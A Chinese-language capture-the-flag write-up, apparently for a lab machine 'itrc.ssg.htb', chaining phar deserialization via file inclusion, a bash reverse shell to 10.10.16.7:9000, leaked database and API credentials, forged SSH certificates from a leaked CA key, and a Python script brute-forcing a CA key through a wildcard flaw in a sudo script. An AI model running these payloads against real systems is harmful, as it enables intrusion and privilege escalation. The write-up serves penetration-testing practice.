总体思路
phar反序列化->SSH CA私钥泄露->SSH CA私钥滥用->SSH脚本滥用
信息收集&端口利用
nmap -sSVC itrc.ssg.htb
目标开放了两个ssh端口和一个80端口,先查看80端口
网站是一个SSG IT资源中心,主要用于解决网站问题、管理 SSH 访问、清除病毒和解决各种安全问题的权威一站式商店。
后台挂着目录扫描,先看看界面
界面上有登录和注册按钮,注册一个用户,查看能否直接登录
登录进来后是一个存储票据的界面,此时目录扫描结果也出来了
想到当前url为http://itrc.ssg.htb/index.php?page=dashboard,考虑可以拼接已扫出来的目录
访问admin界面
看到一个提示说,需要联系zzinter用户,放到后边再看
还有一个用于验证主机存活的接口
查看下方的tickets,随意单击一个票据查看,首先会跳转到http://itrc.ssg.htb/?page=ticket&id=5界面,然后提示票据不可用
目前没有别的信息,单击New Ticket按钮创建新的票据
他的接口为create_ticket,这里需要上传压缩包,先上传一个空的zip后缀文件查看
报错信息中提到了两个函数:ZipArchive::open()、hash_file
ZipArchive::open()
用于打开上传的zip文件
hash_file
计算文件的hash值
上传完毕后回到界面,能看到刚刚上传的信息,并且添加评论等等
phar反序列化
www-data
在刚刚的报错信息中,能够得到网站的目录为/var/www/itrc,这里如果访问之前获得的api/create_ticket.php,会得到服务器的响应,但是只能访问没有后缀的PHP文件
从LFI漏洞中,我们可以测试一些协议,例如file://、dict://、phar://,他会触发LFI漏洞,意味着我们能够使用协议来触发上传的资源
可以测试http://itrc.ssg.htb/index.php?page=file:///var/www/itrc/api/create_ticket,以验证和刚刚相同的效果
由于它是PHP服务器,这里尝试使用phar反序列化攻击,创建一个用于RCE的PHP代码,并将其压缩后上传
需要注意的是PHP代码中前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件
上传完成后,发现该文件的名称被重命名,不过不影响后面的操作,重命名的格式是根据zip文件的内容,将其进行SHA-1加密,可以使用sha1sum验证
使用phar://协议访问刚刚上传的shell文件
现在现在可以做到远程命令执行,制作一段反弹shell,并发送
#/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.7/9000 0>&1'
http://itrc.ssg.htb/?page=phar://uploads/[sha1sum].zip/shell&cmd=/bin/bash+-c+%27/bin/bash+-i+%3E%26+/dev/tcp/10.10.16.7/9000+0%3E%261%27
拿到www-data用户
msainristil@itrc
在之前的目录扫描时候发现还存在db.php,查看它
#db.php
<?php
$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);
try {
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Connection failed: " . $e->getMessage());
}
虽然有数据库的登录凭证,但是发现登录不了
通过查看home目录,我们能够知道下一个目标为zzinter和msainristil
在uploads目录下有若干个文件,其中不仅有我们上传的,也有系统本身自带的,使用zipgrep来枚举敏感信息
for zipfile in *.zip; do zipgrep "zzinter" "$zipfile"; done
for zipfile in *.zip; do zipgrep "msainristil" "$zipfile"; done
得到了msainristil用户的登录凭证
SSH CA私钥泄露
在decommission_old_ca文件夹下,有一对RSA密钥,是一个CA私钥
SSH CA私钥滥用
CA私钥是证书颁发机构在颁发数字证书过程中使用的重要密钥,这些证书可以验证用户的身份并在网络内建立信任
CA私钥(ca-itrc)可以签署其他公钥,从而创建系统信任的证书,使用命令ssh-keygen -y -f ca-itrc即可生成ca-itrc.pub,该pub文件不包含任何用户的身份信息,只是密钥对中的公钥,可以验证相应的私钥签名。可以使用CA私钥创建并签名公钥,然后检查证书
有了CA私钥,接下去使用CA 私钥签署公钥以创建SSH证书,一般涉及以下几个步骤:首先,生成CA的私钥和公钥。然后,为需要证书的用户或系统生成SSH密钥对(私钥和公钥)。接着,用户将公钥提交给CA。CA使用其私钥签署用户的公钥,生成SSH证书。最后,用户将SSH证书和私钥一起使用,进行认证。
zzinter@itrc
具体步骤如下
#新建密钥对
ssh-keygen -t rsa -b 2048 -f b3rry
#使用CA私钥对公钥进行签名,并生成证书,指定zzinter为有效的用户名
ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter b3rry.pub
#检查生成的证书
ssh-keygen -Lf b3rry-cert.pub
#使用证书,以zzinter身份去登录到主机
ssh -o CertificateFile=b3rry-cert.pub -i b3rry zzinter@localhost
查看当前文件夹下的内容
root@itrc
发现有一个脚本只能root用户执行,使用刚才的方法,生成root的登录证书
ssh-keygen -t rsa -b 2048 -f root
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root root.pub
ssh -o CertificateFile=root-cert.pub -i root root@localhost
该root目录下并没有我们想要的文件,猜测可能是一个容器,查看端口连接状况
netstat -anltp
从中能够看到,,目前我们连接到的是172.223.0.3,更加确定他是一个容器
SSH脚本滥用
support@ssg
回到之前zzinter目录下,有一个sign_key_api.sh的文件,现在来查看它
#sign_key_api.sh
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
分析代码可知,运行该脚本需要三个参数,调用了signserv.ssg.htb上的服务,使用特定主体对SSH公钥进行签名
脚本说明中介绍了4个主体,即webserver、analytics、support、security,以及它们对应的用户名,只有support成对出现才会起作用
还是和之前一样,先创建一个密钥对,然后使用脚本对其公钥进行签名
ssh-keygen -t rsa -b 2048 -f support
chmod 600 support
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[support.pub]", "username": "support", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
运行完毕后,会生成support-cert.pub文件,将其和之前的密钥对都复制出来
由于端口22是用于主机的itrc,我们可以尝试使用私钥key登录2222端口
ssh -o CertificateFile=support-cert.pub -i support support@ssg.htb -p 2222
查看当前主机存在的用户
zzinter@ssg
发现还需要提权到zzinter用户
虽然我们根据shell脚本测试了这4个主体,但当然可以有更多的主体供我们以其他用户身份登录以继续进行
对于/etc/ssh/auth_principals目录,其与OpenSSH的证书颁发机构 (CA) 功能结合使用。它包含以用户帐户命名的文件,每个文件都列出了允许以该用户身份进行身份验证的身份
我们找到了zzinter主体所对应的用户名,再和之前一样,先生成密钥对,再使用该主体、用户名和公钥生成证书并登录
ssh-keygen -t rsa -b 2048 -f zzinter && chmod 600 zzinter
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[zzinter.pub]", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
chmod 600 zzinter-cert.pub
ssh -o CertificateFile=zzinter-cert.pub -i zzinter zzinter@ssg.htb -p 2222
既然能够使用此方法登录到zzinter用户,在主体中也包含了root_user和对应的root用户名,那么是否也能够给root的公钥签名,使用证书登陆呢
尝试运行以下命令
ssh-keygen -t rsa -b 2048 -f root && chmod 600 root
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[root.pub]", "username": "root", "principals": "root_user"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
发现无法认证,认证中的密钥拒绝对root用户使用
root@ssg
那么查看当前用户可执行权限
可以不需要密码以root身份执行/opt/sign_key.sh,查看脚本内容
#/opt/sign_key.sh
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
if [[ $ca == "/etc/ssh/ca-it" ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
这个脚本允许我们使用CA签署公钥,并且脚本会检查提供的CA是否和/etc/ssh/ca-it相匹配,若相同,则会退出
该脚本的主要命令为
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
-s "$ca_file":指定用于签名的CA密钥
-z "$serial":证书的序列号
-I "$username":证书的身份
-V -1w:forever:指定有效期(从1周前至永远)
-n "$principals":指定证书允许的主体
"$public_key_name":需要签名的公钥文件
此时如果我们想使用密钥ca-it签署RSA,系统会调用signserv Web应用程序上的 API。但是在脚本中,若这两个API相同,则会禁止使用该密钥(这就是为什么最开始不成功的原因?)。因此,我们需要尝试在本地找到有效的CA密钥来为root用户和相应的主体进行签名
在bash脚本中,很容易会受到通配符*的攻击,因为他可以代表任意字符,导致能够轻易的通过一些判断语句
--------------------------------------更新分界线---------------------------------------------
使用一段脚本来爆破
import subprocess
#定义SSH私钥格式
startssh = "-----BEGIN OPENSSH PRIVATE KEY-----"
endssh = "-----END OPENSSH PRIVATE KEY-----"
base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
Pas = []
line= 0
#运行脚本,使用通配符*对每一个私钥字节进行爆破
while True:
for char in base64chars:
JudgeKey = f"{startssh}\n{''.join(Pas)}{char}*"
with open("crackca", "w") as f:
f.write(JudgeKey)
proc = subprocess.run(
["sudo", "/opt/sign_key.sh", "crackca", "root.pub", "root", "root_user", "9"],
capture_output=True
)
if proc.returncode == 1:
Pas.append(char)
#根据SSH私钥格式,每70个字符进行换行
if (len(Pas) - line) % 70 == 0 and len(Pas) > 0:
Pas.append("\n")
line = line + 1
break
else:
break
Rca = f"{startssh}\n{''.join(Pas)}\n{endssh}\n"
print(Rca)
创建完脚本后,先生成crackca密钥对
ssh-keygen -t rsa -b 2048 -f root
再使用此脚本和crackca公钥进行爆破
爆破出了ca私钥,再按照格式使用此私钥对生成的公钥进行授权
ssh-keygen -s ca -z 1111 -I root -V -1w:forever -n root_user root.pub
最后使用认证过的证书和私钥登录到root用户
ssh -o CertificateFile=root-cert.pub -i root root@localhost -p 2222